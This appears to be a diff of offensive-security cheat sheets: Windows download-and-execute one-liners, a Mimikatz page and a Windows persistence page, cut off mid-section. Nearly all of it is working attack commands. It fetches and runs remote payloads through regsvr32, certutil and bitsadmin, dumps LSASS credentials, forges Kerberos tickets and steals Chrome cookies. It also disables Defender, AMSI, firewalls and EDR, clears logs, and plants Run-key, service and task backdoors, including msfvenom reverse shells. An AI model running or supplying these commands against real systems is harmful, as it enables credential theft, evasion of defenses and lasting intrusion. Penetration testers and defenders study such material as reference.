rundll32 \\webdavserver\folder\payload.dll,entrypoint
```
```powershell
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```
## Regasm / Regsvc @subTee
```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```
## Regsvr32 @subTee
```powershell
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
```powershell
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
## Odbcconf
```powershell
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```
## Msbuild
```powershell
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
## Certutil
```powershell
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```
```powershell
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```
## Bitsadmin
```powershell
bitsadmin /transfer mydownloadjob /download /priority normal http://<attackerIP>/xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe
```
## References
- [arno0x0x - Windows oneliners to download remote payload and execute arbitrary code](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
* [Downloaded files location](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-download-execute/#downloaded-files-location)
* [Powershell](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-download-execute/#powershell)
* [Cmd](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-download-execute/#cmd)
* [Cscript / Wscript](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-download-execute/#cscript-wscript)
* [Mshta](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-download-execute/#mshta)
* [Rundll32](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-download-execute/#rundll32)
* [Regasm / Regsvc](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-download-execute/#regasm-regsvc-subtee)
* [Regsvr32](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-download-execute/#regsvr32)
* [Odbcconf](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-download-execute/#odbcconf)
* [Msbuild](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-download-execute/#msbuild)
* [Certutil](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-download-execute/#certutil)
* [Bitsadmin](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-download-execute/#bitsadmin)
* [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-download-execute/#references)

View File

@ -1,318 +1,20 @@
# Windows - Mimikatz
## Summary
* [Execute commands](#execute-commands)
* [Extract passwords](#extract-passwords)
* [LSA Protection Workaround](#lsa-protection-workaround)
* [Mini Dump](#mini-dump)
* [Pass The Hash](#pass-the-hash)
* [Golden ticket](#golden-ticket)
* [Skeleton key](#skeleton-key)
* [RDP Session Takeover](#rdp-session-takeover)
* [RDP Passwords](#rdp-passwords)
* [Credential Manager & DPAPI](#credential-manager--dpapi)
* [Chrome Cookies & Credential](#chrome-cookies--credential)
* [Task Scheduled credentials](#task-scheduled-credentials)
* [Vault](#vault)
* [Commands list](#commands-list)
* [Powershell version](#powershell-version)
* [References](#references)
![Data in memory](http://adsecurity.org/wp-content/uploads/2014/11/Delpy-CredentialDataChart.png)
## Execute commands
Only one command
```powershell
PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
```
Mimikatz console (multiple commands)
```powershell
PS C:\temp\mimikatz> .\mimikatz
mimikatz # privilege::debug
mimikatz # log
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
```
## Extract passwords
> Microsoft disabled lsass clear text storage since Win8.1 / 2012R2+. It was backported (KB2871997) as a reg key on Win7 / 8 / 2008R2 / 2012 but clear text is still enabled.
```powershell
mimikatz_command -f sekurlsa::logonPasswords full
mimikatz_command -f sekurlsa::wdigest
# to re-enable wdigest in Windows Server 2012+
# in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
# create a DWORD 'UseLogonCredential' with the value 1.
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1
```
:warning: To take effect, conditions are required :
- Win7 / 2008R2 / 8 / 2012 / 8.1 / 2012R2:
* Adding requires lock
* Removing requires signout
- Win10:
* Adding requires signout
* Removing requires signout
- Win2016:
* Adding requires lock
* Removing requires reboot
## LSA Protection Workaround
- LSA as a Protected Process (RunAsPPL)
```powershell
# Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
# Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
# Now lets import the mimidriver.sys to the system
mimikatz # !+
# Now lets remove the protection flags from lsass.exe process
mimikatz # !processprotect /process:lsass.exe /remove
# Finally run the logonpasswords function to dump lsass
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
# Now lets re-add the protection flags to the lsass.exe process
mimikatz # !processprotect /process:lsass.exe
# Unload the service created
mimikatz # !-
# https://github.com/itm4n/PPLdump
PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE>
PPLdump.exe lsass.exe lsass.dmp
PPLdump.exe -v 720 out.dmp
```
- LSA is running as virtualized process (LSAISO) by **Credential Guard**
```powershell
# Check if a process called lsaiso.exe exists on the running processes
tasklist |findstr lsaiso
# Lets inject our own malicious Security Support Provider into memory
# require mimilib.dll in the same folder
mimikatz # misc::memssp
# Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
```
## Mini Dump
Dump the lsass process with `procdump`
> Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that.
```powershell
# HTTP method - using the default way
certutil -urlcache -split -f http://live.sysinternals.com/procdump.exe C:\Users\Public\procdump.exe
C:\Users\Public\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# SMB method - using the pid
net use Z: https://live.sysinternals.com
tasklist /fi "imagename eq lsass.exe" # Find lsass's pid
Z:\procdump.exe -accepteula -ma $lsass_pid lsass.dmp
```
Dump the lsass process with `rundll32`
```powershell
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full
```
Use the minidump:
* Mimikatz: `.\mimikatz.exe "sekurlsa::minidump lsass.dmp"`
```powershell
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords
```
* Pypykatz: `pypykatz lsa minidump lsass.dmp`
## Pass The Hash
```powershell
mimikatz # sekurlsa::pth /user:SCCM$ /domain:IDENTITY /ntlm:e722dfcd077a2b0bbe154a1b42872f4e /run:powershell
```
## Golden ticket
```powershell
.\mimikatz kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
```
```powershell
.\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit
```
## Skeleton key
```powershell
privilege::debug
misc::skeleton
# map the share
net use p: \\WIN-PTELU2U07KG\admin$ /user:john mimikatz
# login as someone
rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab
```
## RDP Session Takeover
Use `ts::multirdp` to patch the RDP service to allow more than two users.
* Enable privileges
```powershell
privilege::debug
token::elevate
```
* List RDP sessions
```powershell
ts::sessions
```
* Hijack session
```powershell
ts::remote /id:2
```
Run `tscon.exe` as the SYSTEM user, you can connect to any session without a password.
```powershell
# get the Session ID you want to hijack
query user
create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"
net start sesshijack
```
## RDP Passwords
Verify if the service is running:
```ps1
sc queryex termservice
tasklist /M:rdpcorets.dll
netstat -nob | Select-String TermService -Context 1
```
* Extract passwords manually
```ps1
procdump64.exe -ma 988 -accepteula C:\svchost.dmp
strings -el svchost* | grep Password123 -C3
```
* Extract passwords using Mimikatz
```ps1
privilege::debug
ts::logonpasswords
```
## Credential Manager & DPAPI
```powershell
# check the folder to find credentials
dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\*
# check the file with mimikatz
$ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
# find master key
$ mimikatz !sekurlsa::dpapi
# use master key
$ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
```
### Chrome Cookies & Credential
```powershell
# Saved Cookies
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" /unprotect
dpapi::chrome /in:"C:\Users\kbell\AppData\Local\Google\Chrome\User Data\Default\Cookies" /masterkey:9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b
# Saved Credential in Chrome
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
```
### Task Scheduled credentials
```powershell
mimikatz(commandline) # vault::cred /patch
TargetName : Domain:batch=TaskScheduler:Task:{CF3ABC3E-4B17-ABCD-0003-A1BA192CDD0B} / <NULL>
UserName : DOMAIN\user
Comment : <NULL>
Type : 2 - domain_password
Persist : 2 - local_machine
Flags : 00004004
Credential : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Attributes : 0
```
### Vault
```powershell
vault::cred /in:C:\Users\demo\AppData\Local\Microsoft\Vault\"
```
## Commands list
| Command |Definition|
|:----------------:|:---------------|
| CRYPTO::Certificates|list/export certificates|
|CRYPTO::Certificates | list/export certificates|
|KERBEROS::Golden | create golden/silver/trust tickets|
|KERBEROS::List | list all user tickets (TGT and TGS) in user memory. No special privileges required since it only displays the current users tickets.Similar to functionality of “klist”.|
|KERBEROS::PTT | pass the ticket. Typically used to inject a stolen or forged Kerberos ticket (golden/silver/trust).|
|LSADUMP::DCSync | ask a DC to synchronize an object (get password data for account). No need to run code on DC.|
|LSADUMP::LSA | Ask LSA Server to retrieve SAM/AD enterprise (normal, patch on the fly or inject). Use to dump all Active Directory domain credentials from a Domain Controller or lsass.dmp dump file. Also used to get specific account credential such as krbtgt with the parameter /name: “/name:krbtgt”|
|LSADUMP::SAM | get the SysKey to decrypt SAM entries (from registry or hive). The SAM option connects to the local Security Account Manager (SAM) database and dumps credentials for local accounts. This is used to dump all local credentials on a Windows computer.|
|LSADUMP::Trust | Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly). Dumps trust keys (passwords) for all associated trusts (domain/forest).|
|MISC::AddSid | Add to SIDHistory to user account. The first value is the target account and the second value is the account/group name(s) (or SID). Moved to SID:modify as of May 6th, 2016.|
|MISC::MemSSP | Inject a malicious Windows SSP to log locally authenticated credentials.|
|MISC::Skeleton | Inject Skeleton Key into LSASS process on Domain Controller. This enables all user authentication to the Skeleton Key patched DC to use a “master password” (aka Skeleton Keys) as well as their usual password.|
|PRIVILEGE::Debug | get debug rights (this or Local System rights is required for many Mimikatz commands).|
|SEKURLSA::Ekeys | list Kerberos encryption keys|
|SEKURLSA::Kerberos | List Kerberos credentials for all authenticated users (including services and computer account)|
|SEKURLSA::Krbtgt | get Domain Kerberos service account (KRBTGT)password data|
|SEKURLSA::LogonPasswords | lists all available provider credentials. This usually shows recently logged on user and computer credentials.|
|SEKURLSA::Pth | Pass- theHash and Over-Pass-the-Hash|
|SEKURLSA::Tickets | Lists all available Kerberos tickets for all recently authenticated users, including services running under the context of a user account and the local computers AD computer account. Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can access tickets of others sessions (users).|
|TOKEN::List | list all tokens of the system|
|TOKEN::Elevate | impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain admin token on the box|
|TOKEN::Elevate /domainadmin | impersonate a token with Domain Admin credentials.
## Powershell version
Mimikatz in memory (no binary on disk) with :
- [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1) from PowerShellEmpire
- [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1) from PowerSploit
More information can be grabbed from the Memory with :
- [Invoke-Mimikittenz](https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1)
## References
- [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821)
- [Skeleton Key](https://pentestlab.blog/2018/04/10/skeleton-key/)
- [Reversing Wdigest configuration in Windows Server 2012 R2 and Windows Server 2016 - 5TH DECEMBER 2017 - ACOUCH](https://www.adamcouch.co.uk/reversing-wdigest-configuration-in-windows-server-2012-r2-and-windows-server-2016/)
- [Dumping RDP Credentials - MAY 24, 2021](https://pentestlab.blog/2021/05/24/dumping-rdp-credentials/)
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/mimikatz](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/)
* [Execute commands](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#execute-commands)
* [Extract passwords](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#extract-passwords)
* [LSA Protection Workaround](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#lsa-protection-workaround)
* [Mini Dump](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#mini-dump)
* [Pass The Hash](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#pass-the-hash)
* [Golden ticket](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#golden-ticket)
* [Skeleton key](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#skeleton-key)
* [RDP Session Takeover](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#rdp-session-takeover)
* [RDP Passwords](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#rdp-passwords)
* [Credential Manager & DPAPI](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#credential-manager--dpapi)
* [Chrome Cookies & Credential](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#chrome-cookies--credential)
* [Task Scheduled credentials](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#task-scheduled-credentials)
* [Vault](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#vault)
* [Commands list](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#commands-list)
* [Powershell version](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#powershell-version)
* [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#references)

View File

@ -1,629 +1,40 @@
# Windows - Persistence
## Summary
* [Tools](#tools)
* [Hide Your Binary](#hide-your-binary)
* [Disable Antivirus and Security](#disable-antivirus-and-security)
* [Antivirus Removal](#antivirus-removal)
* [Disable Windows Defender](#disable-windows-defender)
* [Disable Windows Firewall](#disable-windows-firewall)
* [Clear System and Security Logs](#clear-system-and-security-logs)
* [Simple User](#simple-user)
* [Registry HKCU](#registry-hkcu)
* [Startup](#startup)
* [Scheduled Tasks User](#scheduled-tasks-user)
* [BITS Jobs](#bits-jobs)
* [Serviceland](#serviceland)
* [IIS](#iis)
* [Windows Service](#windows-service)
* [Elevated](#elevated)
* [Registry HKLM](#registry-hklm)
* [Winlogon Helper DLL](#)
* [GlobalFlag](#)
* [Startup Elevated](#startup-elevated)
* [Services Elevated](#services-elevated)
* [Scheduled Tasks Elevated](#scheduled-tasks-elevated)
* [Binary Replacement](#binary-replacement)
* [Binary Replacement on Windows XP+](#binary-replacement-on-windows-xp)
* [Binary Replacement on Windows 10+](#binary-replacement-on-windows-10)
* [RDP Backdoor](#rdp-backdoor)
* [utilman.exe](#utilman.exe)
* [sethc.exe](#sethc.exe)
* [Remote Desktop Services Shadowing](#remote-desktop-services-shadowing)
* [Skeleton Key](#skeleton-key)
* [Virtual Machines](#virtual-machines)
* [Windows Subsystem for Linux](#windows-subsystem-for-linux)
* [Domain](#domain)
* [Golden Certificate](#golden-certificate)
* [Golden Ticket](#golden-ticket)
* [References](#references)
## Tools
- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)
## Hide Your Binary
> Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.
```ps1
PS> attrib +h mimikatz.exe
```
## Disable Antivirus and Security
### Antivirus Removal
* [Sophos Removal Tool.ps1](https://github.com/ayeskatalas/Sophos-Removal-Tool/)
* [Symantec CleanWipe](https://knowledge.broadcom.com/external/article/178870/download-the-cleanwipe-removal-tool-to-u.html)
* [Elastic EDR/Security](https://www.elastic.co/guide/en/fleet/current/uninstall-elastic-agent.html)
```ps1
cd "C:\Program Files\Elastic\Agent\"
PS C:\Program Files\Elastic\Agent> .\elastic-agent.exe uninstall
Elastic Agent will be uninstalled from your system at C:\Program Files\Elastic\Agent. Do you want to continue? [Y/n]:Y
Elastic Agent has been uninstalled.
```
* [Cortex XDR](https://mrd0x.com/cortex-xdr-analysis-and-bypass/)
```ps1
# Global uninstall password: Password1
Password hash is located in C:\ProgramData\Cyvera\LocalSystem\Persistence\agent_settings.db
Look for PasswordHash, PasswordSalt or password, salt strings.
# Disable Cortex: Change the DLL to a random value, then REBOOT
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CryptSvc\Parameters /t REG_EXPAND_SZ /v ServiceDll /d nothing.dll /f
# Disables the agent on startup (requires reboot to work)
cytool.exe startup disable
# Disables protection on Cortex XDR files, processes, registry and services
cytool.exe protect disable
# Disables Cortex XDR (Even with tamper protection enabled)
cytool.exe runtime disable
# Disables event collection
cytool.exe event_collection disable
```
### Disable Windows Defender
```powershell
# Disable Defender
sc config WinDefend start= disabled
sc stop WinDefend
Set-MpPreference -DisableRealtimeMonitoring $true
## Exclude a process / location
Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
Add-MpPreference -ExclusionPath C:\Video, C:\install
# Disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true
# Disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1
# Blind ETW Windows Defender: zero out registry values corresponding to its ETW sessions
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
# Wipe currently stored definitions
# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>
MpCmdRun.exe -RemoveDefinitions -All
# Remove signatures (if Internet connection is present, they will be downloaded again):
PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
# Disable Windows Defender Security Center
reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
# Disable Real Time Protection
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
```
### Disable Windows Firewall
```powershell
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off
# ip whitelisting
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
```
### Clear System and Security Logs
```powershell
cmd.exe /c wevtutil.exe cl System
cmd.exe /c wevtutil.exe cl Security
```
## Simple User
Set a file as hidden
```powershell
attrib +h c:\autoexec.bat
```
### Registry HKCU
Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.
```powershell
Value name: Backdoor
Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```
Using the command line
```powershell
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
```
Using SharPersist
```powershell
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
```
### Startup
Create a batch script in the user startup folder.
```powershell
PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```
Using SharPersist
```powershell
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
```
### Scheduled Tasks User
* Using native **schtask** - Create a new task
```powershell
# Create the scheduled tasks to run once at 00.00
schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe
# Force run it now !
schtasks /run /tn "Device-Synchronize"
```
* Using native **schtask** - Leverage the `schtasks /change` command to modify existing scheduled tasks
```powershell
# Launch an executable by calling the ShellExec_RunDLL function.
SCHTASKS /Change /tn "\Microsoft\Windows\PLA\Server Manager Performance Monitor" /TR "C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat" /RL HIGHEST /RU "" /ENABLE
```
* Using Powershell
```powershell
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```
* Using SharPersist
```powershell
# Add to a current scheduled task
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
# Add new task
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
```
### BITS Jobs
```powershell
bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://10.10.10.10/evil.exe" "C:\tmp\evil.exe"
# v1
bitsadmin /SetNotifyCmdLine backdoor C:\tmp\evil.exe NUL
bitsadmin /SetMinRetryDelay "backdoor" 60
bitsadmin /resume backdoor
# v2 - exploit/multi/script/web_delivery
bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.10:8080/FHXSd9.sct scrobj.dll"
bitsadmin /resume backdoor
```
## Serviceland
### IIS
IIS Raid Backdooring IIS Using Native Modules
```powershell
$ git clone https://github.com/0x09AL/IIS-Raid
$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true
```
### Windows Service
Using SharPersist
```powershell
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
```
## Elevated
### Registry HKLM
Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.
```powershell
Value name: Backdoor
Value data: C:\Windows\Temp\backdoor.exe
```
Using the command line
```powershell
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
```
#### Winlogon Helper DLL
> Run executable during Windows logon
```powershell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evilbinary.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evilbinary.dll
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /f
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -Force
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force
```
#### GlobalFlag
> Run executable after notepad is killed
```powershell
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"
```
### Startup Elevated
Create a batch script in the user startup folder.
```powershell
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
```
### Services Elevated
Create a service that will start automatically or on-demand.
```powershell
# Powershell
New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automatic
sc start pentestlab
# SharPersist
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add
# sc
sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="LocalSystem"
sc start Backdoor
```
### Scheduled Tasks Elevated
Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day.
> Processes spawned as scheduled tasks have taskeng.exe process as their parent
```powershell
# Powershell
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoor.exe"
$T = New-ScheduledTaskTrigger -Daily -At 9am
# OR
$T = New-ScheduledTaskTrigger -Daily -At "9/30/2020 11:05:00 AM"
$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask "Backdoor" -InputObject $D
# Native schtasks
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password
schtasks /Create /RU "NT AUTHORITY\SYSTEM" /tn [TaskName] /tr "regsvr32.exe -s \"C:\Users\*\AppData\Local\Temp\[payload].dll\"" /SC ONCE /Z /ST [Time] /ET [Time]
##(X86) - On User Login
